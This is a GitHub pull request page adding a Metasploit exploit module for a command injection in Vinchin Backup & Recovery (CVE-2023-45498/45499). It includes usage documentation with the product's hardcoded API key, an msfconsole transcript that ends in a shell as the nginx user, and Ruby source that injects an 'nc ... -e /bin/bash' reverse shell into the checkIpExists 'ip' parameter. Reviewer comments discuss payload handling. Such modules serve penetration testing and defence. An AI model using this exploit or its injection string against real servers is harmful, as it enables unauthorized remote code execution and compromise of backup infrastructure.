Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Submission of New Exploit Module for Vinchin Backup & Recovery Command Injection #18542

Merged
merged 19 commits into from Dec 20, 2023
Merged
Show file tree
Hide file tree
Changes from 4 commits
Commits
Show all changes
19 commits
Select commit Hold shift + click to select a range
c5cfc99
Add vinchin_backup_recovery_cmd_inject
Chocapikk Nov 9, 2023
7482948
Fix
Chocapikk Nov 9, 2023
24fc989
Merge branch 'rapid7:master' into master
Chocapikk Nov 16, 2023
42cdda7
Vinchin
Chocapikk Nov 16, 2023
00cc8dc
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 20, 2023
13b19ba
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 20, 2023
223cb24
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 20, 2023
8eb1f61
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 20, 2023
4e1ec64
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 20, 2023
d59d5e5
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 20, 2023
58425df
Update vinchin_backup_recovery_cmd_inject exploit and documentation
Chocapikk Nov 21, 2023
f0ab3a7
Fix typo
Chocapikk Nov 21, 2023
218f652
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 21, 2023
2750dee
Update
Chocapikk Nov 21, 2023
fff8d20
Add suggested changes
Chocapikk Nov 21, 2023
9b050e2
Add suggested changes
Chocapikk Nov 21, 2023
d20a170
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 23, 2023
c60da4a
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 23, 2023
1438a88
Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Chocapikk Nov 28, 2023
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
@@ -0,0 +1,156 @@
## Vulnerable Application

This module exploits a vulnerability in Vinchin Backup & Recovery versions 5.0.*, 6.0.*, 6.7.*, and 7.0.*. To prepare the environment:

1. Download Vinchin Backup & Recovery version 5.0.*, 6.0.*, 6.7.*, or 7.0.*.
2. Install the software on a Linux-based server using the downloaded ISO.
3. During the installation, ensure that the network interface is active and configured.
4. After installation, verify that the Vinchin Backup & Recovery service is operational and accessible over the network.

*Note: The module is designed to work with the specified versions. Functionality with other versions has not been confirmed.*

## Verification Steps

1. Install a vulnerable version of Vinchin Backup & Recovery (versions 5.0.*, 6.0.*, 6.7.*, or 7.0.*).
2. Start msfconsole in your Metasploit environment.
3. Do: `use exploit/linux/http/vinchin_backup_recovery_cmd_inject`
4. Set the RHOSTS to the target IP address or hostname.
5. Do: `run`
6. If the target is vulnerable, the exploit will execute the specified payload or command.

## Options

Here are the specific options for the `exploit/linux/http/vinchin_backup_recovery_cmd_inject` module:

#### RHOSTS

- **Description**: Specifies the target address or range of addresses.
- **Default Value**: None. It must be set by the user.

#### RPORT

- **Description**: The port on which the Vinchin Backup & Recovery service is running.
- **Default Value**: 443 (this is not configurable in the default Vinchin Backup & Recovery setup).

#### SSL

- **Description**: Specifies whether to use SSL for the connection.
- **Default Value**: True, as Vinchin typically runs over HTTPS.

#### TARGETURI

- **Description**: The base path to the Vinchin Backup & Recovery application.
- **Default Value**: `/api/`

#### APIKEY

- **Description**: The hardcoded API key required to authenticate to the API.
- **Default Value**: `6e24cc40bfdb6963c04a4f1983c8af71`

## Scenarios

### Successful Exploitation against Vinchin Backup & Recovery 6.7.*

This scenario demonstrates exploiting the Vinchin Backup & Recovery version 6.7.* on a Linux server.

**Environment**:
- Vinchin Backup & Recovery 6.7.*
- Linux Server
- Metasploit Framework

**Steps**:

1. Start `msfconsole`.
2. Load the exploit module:
```
use exploit/linux/http/vinchin_backup_recovery_cmd_inject
```
4. Set the required options:
```
set RHOSTS [target IP]
set APIKEY [API Key]
```
5. Optionally set a payload and configure LHOST and LPORT.
6. Execute the exploit:
```
exploit
```

**Expected Output**:

```
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > options

Module options (exploit/linux/http/vinchin_backup_recovery_cmd_inject):

Name Current Setting Required Description
---- --------------- -------- -----------
APIKEY 6e24cc40bfdb6963c04a4 yes The hardcoded API key
f1983c8af71
Proxies no A proxy chain of format type:host:
port[,type:host:port][...]
RHOSTS yes The target host(s), see https://do
cs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing con
nections
SSLCert no Path to a custom SSL certificate (
default is randomly generated)
TARGETURI /api/ yes The base path to the Vinchin Backu
p & Recovery application
URIPATH no The URI to use for this exploit (d
efault is random)
VHOST no HTTP server virtual host


When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to lis
ten on. This must be an address on the loc
al machine or 0.0.0.0 to listen on all add
resses.
SRVPORT 8080 yes The local port to listen on.


Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be spec
ified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set lhost 192.168.1.5
lhost => 192.168.1.5
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > check

[*] HTTP Response Code: 200
[*] Detected Vinchin version: 7.0.1.26282
[+] 192.168.1.3:443 - The target is vulnerable.
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > exploit

[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Sending payload...
[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.3:59354) at 2023-11-16 17:47:30 +0100
SHELL=/bin/bash script -q /dev/null

bash-4.2$ id
uid=994(nginx) gid=992(nginx) groups=992(nginx)

```
121 changes: 121 additions & 0 deletions modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
@@ -0,0 +1,121 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
def initialize(info = {})
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
super(
update_info(
info,
'Name' => 'Vinchin Backup and Recovery Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Vinchin Backup & Recovery
v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the
checkIpExists API endpoint, an attacker can execute arbitrary commands as the
web server user.
},
'License' => MSF_LICENSE,
'Author' => [
'Gregory Boddin (LeakIX)', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2023-45498'],
['CVE', '2023-45499'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-45498'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-45499'],
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
['URL', 'https://blog.leakix.net/2023/10/vinchin-backup-rce-chain/'],
['URL', 'https://vinchin.com/'] # Vendor URL
],
'DisclosureDate' => '2023-10-26',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'AKA' => ['Vinchin Command Injection']
},
'Platform' => ['linux', 'unix'],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'generic/shell_reverse_tcp',
'SSL' => true
},
'Privileged' => false
)
)

register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The base path to the Vinchin Backup & Recovery application', '/api/']),
OptString.new('APIKEY', [true, 'The hardcoded API key', '6e24cc40bfdb6963c04a4f1983c8af71'])
]
)
end

def exploit
lhost = datastore['LHOST']
lport = datastore['LPORT']
injection_command = "nc #{lhost} #{lport} -e /bin/bash"
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
data = "p={\"ip\":\"127.0.0.1 ;#{injection_command};\"}"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As I understand, this won't let the user choose the payload he wants to use. Instead, you can use payload.encode to include the payload setup by the user with set PAYLOAD .... Note that you will probably need some filtering and sanitization, since I believe some special characters would break the command.

A more complete and flexible option is to make the code compatible with Fetch Payloads and Command Stagers, which allow the use of Meterpreter payloads, along with standard command payloads.

Please, refers to these documentations for details:

Also, feel free to ask if you have issues with this. I would be happy to help.

print_status('Sending payload...')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'm' => '30',
'f' => 'checkIpExists',
'k' => datastore['APIKEY']
},
'data' => data
})
end

def check
target_uri_path = normalize_uri(target_uri.path.split('/')[0], '/login.php')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure to understand, what target_uri.path.split('/')[0] is supposed to return?
It will always return an empty string if the TARGETURI value starts with '/':

[1] pry(main)> '/my/long/path/'.split('/')[0]
=> ""

If there is no '/', it will return the first path only:

[2] pry(main)> 'my/long/path/'.split('/')[0]
=> "my"

res = send_request_cgi('uri' => target_uri_path)

unless res
print_error('Failed to connect to the target.')
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
return CheckCode::Unknown('Failed to connect to the target.')
end

print_status("HTTP Response Code: #{res.code}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does a status code different than 200 mean it failed? If so, it would be interesting to add a check and return early:

return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200

version_pattern = /Vinchin build: (\d+\.\d+\.\d+\.\d+)/
version_match = res.body.match(version_pattern)

if version_match && version_match[1]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if version_match && version_match[1]
if !version_match || !version_match[1]
CheckCode::Unknown('Unable to extract version.')
endif

version = Rex::Version.new(version_match[1])
print_status("Detected Vinchin version: #{version}")

vulnerable_version_patterns = [
/^((5\.0|6\.0|6\.7)\.\d+(\.\d+)?|7\.0\.(0|1)(\.\d+)?)$/
]

version = Rex::Version.new(version)

vulnerable = vulnerable_version_patterns.any? do |pattern|
pattern.match(version.to_s)
end

if vulnerable
return CheckCode::Vulnerable()
else
return CheckCode::Safe()
end
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved

else
print_error('Unable to extract version with the regex provided.')
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
return CheckCode::Unknown('Unable to extract version.')
end
end
end